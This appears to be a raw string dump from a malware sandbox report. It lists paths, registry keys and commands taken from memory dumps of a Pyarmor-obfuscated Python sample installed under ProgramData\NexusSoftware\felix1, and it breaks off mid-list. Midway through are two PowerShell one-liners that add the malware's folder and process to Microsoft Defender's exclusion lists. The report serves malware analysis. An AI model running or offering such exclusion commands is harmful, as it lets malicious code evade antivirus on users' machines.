00000000-00002512.00000001.111136.03130000.00000004.mdmp4d:T161f4,"/C:\ PROGRA~3 NEXUSS~1 felix1C\M} pythonw.exeC\M}^]C:\ProgramData\NexusSoftware\felix1\pythonw.exefcsw9q3vy2vn6461SPS" in Source: pythonw.exe.lnk "__pyarmor__N)pyarmor_runtimerFC:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.pyr" in Source: __init__.cpython-313.pyc.2362310367472 "%ALLUSERSPROFILE%\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00002512-00000BC0-552853560 "%ALLUSERSPROFILE%\NexusSoftware\felix1" in Source: 00000000-00002512-00000C3F-51002770906 "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000" in Source: 00000000-00002512-00000C3F-53344624790 ""%ALLUSERSPROFILE%\NexusSoftware\felix1\pythonw.exe" %ALLUSERSPROFILE%\NexusSoftware\felix1\main.py" in Source: 00000000-00002512-00000C47-55528057930 "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__\__init__.cpython-313.pyc.2362310367472" in Source: 00000000-00003580-00000C59-553936151 "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__\__init__.cpython-313.pyc" in Source: 00000000-00003580-00000C59-553936151 "%ALLUSERSPROFILE%\NexusSoftware\felix1\python3" in Source: 00000000-00003580-00000C2B-553950557 "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd" in Source: 00000000-00003580-00000C2B-553986573 "%ALLUSERSPROFILE%\NexusSoftware\felix1\_ctypes.pyd" in Source: 00000000-00003580-00000C2B-554207586 "%ALLUSERSPROFILE%\NexusSoftware\felix1\*.*" in Source: 00000000-00003580-00000C2E-1555158966 "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__" in Source: 00000000-00003580-00000C3F-1623547356 "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\*.*" in Source: 00000000-00003580-00000C2E-1647822058 "%ALLUSERSPROFILE%\NexusSoftware\felix1\main.py" in Source: pythonw.exe "ProgramData%\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "ProgramData%\NexusSoftware\felix1" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "%ProgramData%\NexusSoftware\felix1" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp "%ProgramData%\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp 00000000-00002512.00000001.111136.03130000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp 00000000-00002512.00000001.111136.03130000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "NexusSoftware\fe" in Source: 00000000-00002512.00000001.111136.02930000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\Modules\Setup.local" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\Modules\Setup" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd:pyarmor_runtime_000000.pyarmor_runtime" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, 00000000-00003580.00000001.112940.04A60000.00000004.mdmp, 00000000-00003580.00000001.112940.050C0000.00000004.mdmp, ""C:\ProgramData\NexusSoftware\felix1\pythonw.exe" C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "usC:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\VCRUNTIME140_1.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\python313.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\VCRUNTIME140.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, 00000000-00003580.00000001.112940.04A60000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1;C:\WINDOWS\SYSTEM32;C:\WINDOWS\system;C:\WINDOWS;.;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\HAPUBWS\AppData\Roaming\nvm;%NVM_SYMLINK%;C:\WINDOWS\System32\OpenSSH\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmproxy\bin" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\Lib" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\_ctypes.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, 00000000-00003580.00000001.112940.04B70000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\python3.DLL" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "\Device\HarddiskVolume2\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "gramData\NexusSoftware\felix1\python313.zip\ctypes" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, 00000000-00003580.00000001.112940.04B70000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1;C:\ProgramData\NexusSoftware\felix1;C:\WINDOWS\SYSTEM32" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "rogramData\NexusSoftware\felix1\pybuilddir.txt" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "\??\C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__\__init__.cpython-313.pyca" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\python313.zip;C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\programdata\nexussoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\PCbuild" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\_ctypes.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\libffi-8.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\python3.DLL" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000;C:\ProgramData\NexusSoftware\felix1;C:\WINDOWS\SYSTEM32" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "rogramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "$path = "C:\ProgramData\NexusSoftware\felix1"; if (-not (Get-MpPreference).ExclusionPath -contains $path) { Add-MpPreference -ExclusionPath $path; }" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "$process = "C:\ProgramData\NexusSoftware\felix1\pythonw.exe"; if (-not (Get-MpPreference).ExclusionProcess -contains $process) { Add-MpPreference -ExclusionProcess $process; }" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp 00000000-00003580.00000001.112940.050C0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp 00000000-00003580.00000001.112940.04B70000.00000004.mdmp 00000000-00003580.00000001.112940.04FC0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\codecs.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\abc.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\antigravity.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\argparse.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ast.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\base64.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\bdb.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\bisect.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\bz2.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\calendar.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\cmd.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\code.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\codecs.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\codeop.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\colorsys.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\compileall.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\configparser.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\contextlib.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\contextvars.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\copy.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\copyreg.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\cProfile.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\csv.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dataclasses.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\datetime.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__\__init__.cpython-313.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\importlib\_bootstrap_external.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_tasks.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\taskgroups.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_futures.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_subprocess.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\coroutines.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\exceptions.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\subprocess.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\format_helpers.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\proactor_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\selector_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\big5hkscs.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\transports.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\unix_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\windows_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\windows_utils.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\collections\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\architecture.rst" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\bz2_codec.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\contentmanager.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\headerregistry.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_encoded_words.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_header_value_parser.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\base64_codec.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\hex_codec.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\hp_roman8.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_jisx0213.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_jis_2004.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_2.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_1.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_1.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_2.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_2004.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_3.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_ext.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_kr.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_3.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp 00000000-00003580.00000001.112940.04FC0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\zipimport.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\abc.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\io.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\decimal.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\difflib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dis.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\doctest.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\enum.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\filecmp.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\fileinput.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\fnmatch.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\fractions.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ftplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\functools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\genericpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\getopt.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\getpass.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\gettext.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\glob.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\graphlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\gzip.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\hashlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\heapq.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\hmac.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\imaplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\inspect.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\io.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ipaddress.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\keyword.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\linecache.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\locale.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\lzma.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\mailbox.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\mimetypes.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\modulefinder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\netrc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ntpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\nturl2path.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\numbers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\opcode.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\operator.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\optparse.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\os.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pdb.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pickle.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pickletools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pkgutil.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\platform.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\plistlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\poplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\posixpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pprint.pyc" in Source: 